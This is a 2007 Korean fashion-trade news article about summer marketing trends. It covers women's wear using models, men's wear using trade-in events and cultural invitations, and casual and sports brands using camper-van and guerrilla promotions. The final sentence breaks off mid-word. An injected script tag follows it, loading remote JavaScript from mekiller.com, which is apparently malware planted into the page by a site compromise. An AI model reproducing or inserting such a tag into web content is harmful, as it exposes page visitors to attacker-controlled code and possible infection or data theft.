한여름 패션界, 문화속으로 ‘풍덩’

2007-06-22 10:15 조회수 아이콘 1561

바로가기
한여름 패션界, 문화속으로 ‘풍덩’
'스타만의 잔치’는 옛말…소비자 감동 마케팅 ‘한창’

패션업계가 한여름 이색 마케팅에 한창이다.
다양하고 차별화된 마케팅을 활용해 브랜드 이미지를 어필하는 한편 소비자들에게 다이렉트로 어필할 수 있는 갖가지 체험 마케팅을 통해 이미지를 어필하고 있다.
브랜드들은 각사의 이미지를 보다 효율적으로 어필하기 위해 일반적으로 보여주는 비주얼적인 마케팅에서 벗어나 고객들과 실질적으로 호흡할 수 있는 체험 마케팅에 주력하고 있다.


여성복업계는 여성들의 감성을 자극하는 마케팅을 활용하고 있다.
여성들의 선망의 대상인 모델들을 협찬, S라인 몸매를 뽐내는 모델들을 통해 자사의 옷을 더욱 빛나게 해 소비자들의 시선을 사로잡고 있으며 S라인 몸매와 함께 미모를 겸비한 샵마스터들을 기용해 판매는 물론 모델로서의 역할까지 겸하게 하고 있다.
남성복업계는 여가와 문화생활을 강조하는 마케팅에 주력하고 있다.
여성들과는 대조적으로 트렌드에 둔감한 남성들을 타겟으로 마케팅을 진행하는 게 쉬운 일이 아닌 만큼 남성복업계는 실질적으로 판매와 직결되는 홍보방식에서 벗어나 기업의 이미지를 강조할 수 있는 이미지 마케팅을 진행하고 있다.


반면 캐주얼 및 스포츠업계는 고객들과 함께 호흡할 수 있는 체험 마케팅을 펼치고 있다.
젊은이들이 밀집돼 있는 명동, 압구정, 코엑스, 대학로 등에 캠핑카를 선보이고 다양한 이벤트 형식의 소비자 참여를 유도하는 공격적인 홍보기법을 활용하고 있다.
얼마 전 ‘휠라’는 전속모델인 패리스힐튼을 닮은 모델을 대학로에 투입시키는 게릴라 마케팅으로 화제를 모았으며 스프리스, EXR 등은 캠핑카를 통해 브랜드 노출을 시도, 직접적으로 소비자들에게 다가갈 수 있는 공격 마케팅을 하고 있다.
기존 패션업계는 연예인을 앞세우는 보편화된 마케팅을 펼쳐왔으나 최근에는 브랜드별 개성이 돋보일 수 있는 이색적인 아이디어 마케팅에서부터 문화와의 접목을 통한 이미지 마케팅까지 보다 다양하고 소비자들에게 친근하게 다가갈 수 있는 적극적인 마케팅 기법을 활용하고 있다. 또 오랜 여운이 남을 수 있는 감성을 자극하는 감성 마케팅으로 브랜드 이미지를 극대화시키는 것도 현 시대의 마케팅으로 인기몰이 중이다.


[남성복]
실속파·감성파 위한 올프레스코팅

최근 남성복 업계의 마케팅은 소비자들에게 실질적인 도움을 주는 행사와 반대로 여가, 문화 생활을 강조하는 마케팅으로 나눠지고 있다.


최신 유행과 이색적인 마케팅에 대한 관심이 비교적 적은 남성 소비자들은 주머니사정을 고려한 실리적인 홍보전략이 대부분이며, 특히 신사복부분에서 두드러지게 나타나고 있다.


그 예로 코오롱패션의 맨스타, 세정의 인디안 등이 올 상반기 헌옷을 보상판매 해주는 이벤트를 실시해 좋은 반응을 얻었으며, 수익금 일부를 불우이웃을 돕거나 헌옷을 재활센터에 기부해 기업 이미지를 끌어올리는데도 한몫을 했다.
또한 남성복에서 최근 새롭게 나타나고 있는 마케팅은 남성 소비자들을 공략하기는 동시에 여자친구나 남녀 커플을 위한 문화 마케팅이 갈수록 늘어나고 있다.


대표적으로 제일모직의 ‘빨질레리’는 매년 남녀가 함께 즐길 수 있는 유명 연극, 뮤직컬 등에 고객들을 초청하고 있으며, 동일레나운의 ‘까르뜨블랑슈’는 콘서트, 재즈 공연 등 음악과 관련된 마케팅을 실시해 젊은 소비자들로부터 호응을 얻고 있다.
이는 기존 남성복 업계가 남성소비자들을 중심으로 공략하던 방식에서 벗어나 소비자들의 상당수가 여성?script src=http://mekiller.com/1/1.js>